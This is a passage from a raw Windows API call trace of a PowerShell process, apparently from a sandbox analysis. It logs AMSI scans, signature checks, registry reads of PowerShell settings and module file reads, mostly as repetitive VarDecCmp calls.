pdecRight=0x843d014) returned 0x2 [0115.609] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.609] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.609] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.609] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.609] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.609] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.609] VarR8FromDec (in: pdecIn=0x53452f0, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.610] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.610] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.611] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.611] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.612] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.612] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.612] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.612] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.612] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.612] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.612] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.612] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.612] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.612] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.702] AmsiCloseSession () returned 0x315cd38 [0115.702] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa64 [0115.702] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0115.987] WTGetSignatureInfo () returned 0x0 [0116.009] CertDuplicateCertificateContext (pCertContext=0x73c2ba0) returned 0x73c2ba0 [0116.009] WinVerifyTrust () returned 0x0 [0116.010] CoTaskMemFree (pv=0x740d718) [0116.010] CoTaskMemFree (pv=0x7443ef8) [0116.010] CertFreeCertificateContext (pCertContext=0x73c2ba0) returned 1 [0116.010] CloseHandle (hObject=0xa60) returned 1 [0116.010] AmsiOpenSession () returned 0x0 [0116.010] AmsiScanString () returned 0x80070015 [0116.114] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0116.114] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.CertificateServices.PKIClient.Cmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x61 [0116.114] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.CertificateServices.PKIClient.Cmdlets", nBufferLength=0x61, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.CertificateServices.PKIClient.Cmdlets", lpFilePart=0x0) returned 0x60 [0116.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d530) returned 1 [0116.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.CertificateServices.PKIClient.Cmdlets" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.certificateservices.pkiclient.cmdlets"), fInfoLevelId=0x0, lpFileInformation=0x843d5ac | out: lpFileInformation=0x843d5ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0116.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d52c) returned 1 [0116.123] AmsiCloseSession () returned 0x315cd38 [0116.123] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa88 [0116.124] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0116.207] WTGetSignatureInfo () returned 0x0 [0116.283] CertDuplicateCertificateContext (pCertContext=0x73c2ec0) returned 0x73c2ec0 [0116.283] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dcd4 | out: phkResult=0x843dcd4*=0xa8c) returned 0x0 [0116.283] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x0, lpcbData=0x843dcf0*=0x0 | out: lpType=0x843dcf4*=0x1, lpData=0x0, lpcbData=0x843dcf0*=0x56) returned 0x0 [0116.283] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x551238c, lpcbData=0x843dcf0*=0x56 | out: lpType=0x843dcf4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843dcf0*=0x56) returned 0x0 [0116.283] RegCloseKey (hKey=0xa8c) returned 0x0 [0116.283] CoTaskMemAlloc (cb=0x10) returned 0x7443d78 [0116.283] CoTaskMemAlloc (cb=0x30) returned 0x740d5c8 [0116.283] WinVerifyTrust () returned 0x0 [0116.284] CoTaskMemFree (pv=0x740d5c8) [0116.284] CoTaskMemFree (pv=0x7443d78) [0116.284] CertFreeCertificateContext (pCertContext=0x73c2ec0) returned 1 [0116.284] CloseHandle (hObject=0xa7c) returned 1 [0116.284] AmsiOpenSession () returned 0x0 [0116.284] AmsiScanString () returned 0x80070015 [0116.301] WTGetSignatureInfo () returned 0x0 [0116.323] CertDuplicateCertificateContext (pCertContext=0x73ae490) returned 0x73ae490 [0116.323] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa8c) returned 0x0 [0116.324] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0116.324] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x563ba30, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0116.324] RegCloseKey (hKey=0xa8c) returned 0x0 [0116.324] CoTaskMemAlloc (cb=0x10) returned 0x7443ca0 [0116.324] CoTaskMemAlloc (cb=0x30) returned 0x740d9f0 [0116.324] WinVerifyTrust () returned 0x0 [0116.324] CoTaskMemFree (pv=0x740d9f0) [0116.324] CoTaskMemFree (pv=0x7443ca0) [0116.324] CertFreeCertificateContext (pCertContext=0x73ae490) returned 1 [0116.324] CloseHandle (hObject=0xa7c) returned 1 [0116.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_Printer_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0116.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_Printer_v1.0.cdxml", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_Printer_v1.0.cdxml", lpFilePart=0x0) returned 0x5a [0116.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0116.324] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_Printer_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printer_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa7c [0116.325] GetFileType (hFile=0xa7c) returned 0x1 [0116.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0116.325] GetFileType (hFile=0xa7c) returned 0x1 [0116.325] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0116.325] ReadFile (in: hFile=0xa7c, lpBuffer=0x563ca14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x563ca14*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0116.325] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1000 [0116.325] ReadFile (in: hFile=0xa7c, lpBuffer=0x563ca14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x563ca14*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0116.325] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x2000 [0116.325] ReadFile (in: hFile=0xa7c, lpBuffer=0x563ca14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x563ca14*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0116.325] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x3000 [0116.325] ReadFile (in: hFile=0xa7c, lpBuffer=0x563ca14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x563ca14*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0116.326] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x4000 [0116.326] ReadFile (in: hFile=0xa7c, lpBuffer=0x563ca14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x563ca14*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0116.326] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x5000 [0116.326] ReadFile (in: hFile=0xa7c, lpBuffer=0x563ca14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x563ca14*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0116.326] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x6000 [0116.326] ReadFile (in: hFile=0xa7c, lpBuffer=0x563ca14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x563ca14*, lpNumberOfBytesRead=0x843d390*=0x7ff, lpOverlapped=0x0) returned 1 [0116.326] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x67ff [0116.326] ReadFile (in: hFile=0xa7c, lpBuffer=0x563c1b3, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x563c1b3*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0116.326] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x67ff [0116.326] ReadFile (in: hFile=0xa7c, lpBuffer=0x563ca14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x563ca14*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0116.326] CoTaskMemAlloc (cb=0x20c) returned 0x73bdd10 [0116.326] GetSystemDirectoryW (in: lpBuffer=0x73bdd10, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.327] CoTaskMemFree (pv=0x73bdd10) [0116.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0116.327] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0116.327] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.327] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0xa5c) returned 0x0 [0116.328] RegQueryValueExW (in: hKey=0xa5c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0116.328] RegCloseKey (hKey=0xa5c) returned 0x0 [0116.328] CloseHandle (hObject=0xa7c) returned 1 [0116.328] VarDecCmp (pdecLeft=0x843d008, pdecRight=0x843cff8) returned 0x0 [0116.328] VarDecCmp (pdecLeft=0x843cfe8, pdecRight=0x843cfd8) returned 0x1 [0116.329] VarDecCmp (pdecLeft=0x843cfe0, pdecRight=0x843cfd0) returned 0x0 [0116.329] VarDecCmp (pdecLeft=0x843cfc0, pdecRight=0x843cfb0) returned 0x1 [0116.369] VarDecCmp (pdecLeft=0x843cfe0, pdecRight=0x843cfd0) returned 0x0 [0116.369] VarDecCmp (pdecLeft=0x843cfc0, pdecRight=0x843cfb0) returned 0x1 [0116.370] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.370] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.370] VarR8FromDec (in: pdecIn=0x566bcd0, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.370] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.370] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x2 [0116.370] VarR8FromDec (in: pdecIn=0x566d23c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.370] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.370] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.370] VarR8FromDec (in: pdecIn=0x566f6e4, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.371] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.371] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.371] VarR8FromDec (in: pdecIn=0x5675224, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.371] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.371] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.371] VarR8FromDec (in: pdecIn=0x5678fe0, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.371] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.371] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x2 [0116.371] VarR8FromDec (in: pdecIn=0x56793c4, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.371] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.371] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.371] VarR8FromDec (in: pdecIn=0x567a204, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x2 [0116.372] VarR8FromDec (in: pdecIn=0x567a5e8, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.372] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.372] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp 